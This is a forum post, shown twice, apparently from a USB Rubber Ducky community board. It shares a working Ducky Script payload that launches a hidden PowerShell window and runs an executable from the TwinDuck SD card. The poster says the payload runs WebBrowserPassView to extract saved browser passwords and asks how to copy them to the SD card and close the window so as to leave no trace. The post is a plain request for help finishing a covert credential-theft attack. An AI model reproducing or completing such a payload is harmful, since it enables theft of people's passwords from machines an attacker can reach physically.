I found this script that is actualy working very well. It is running .exe from SD instead of download and execute. Now, I am running webbrowserpassview.exe and it extracts the passwords on the screen. I want to save it as .txt , download it on twinduck (SD) and close the window on desktop, so I leave no trace. Does anyone knows how to continue the script bellow to proceed this action?
REM RunEXE From TwinDuck SD By rickblack28
DELAY 5000
GUI r
DELAY 100
STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process "E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process "H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe"
ENTER
Also searching some new scripts for windows7 that are actually working. Thanks guys.
New Ducky payloads required
in Community Projects
Posted
I found this script that is actualy working very well. It is running .exe from SD instead of download and execute. Now, I am running webbrowserpassview.exe and it extracts the passwords on the screen. I want to save it as .txt , download it on twinduck (SD) and close the window on desktop, so I leave no trace. Does anyone knows how to continue the script bellow to proceed this action?
REM RunEXE From TwinDuck SD By rickblack28
DELAY 5000
GUI r
DELAY 100
STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process "E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process "H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe"
ENTER
Also searching some new scripts for windows7 that are actually working. Thanks guys.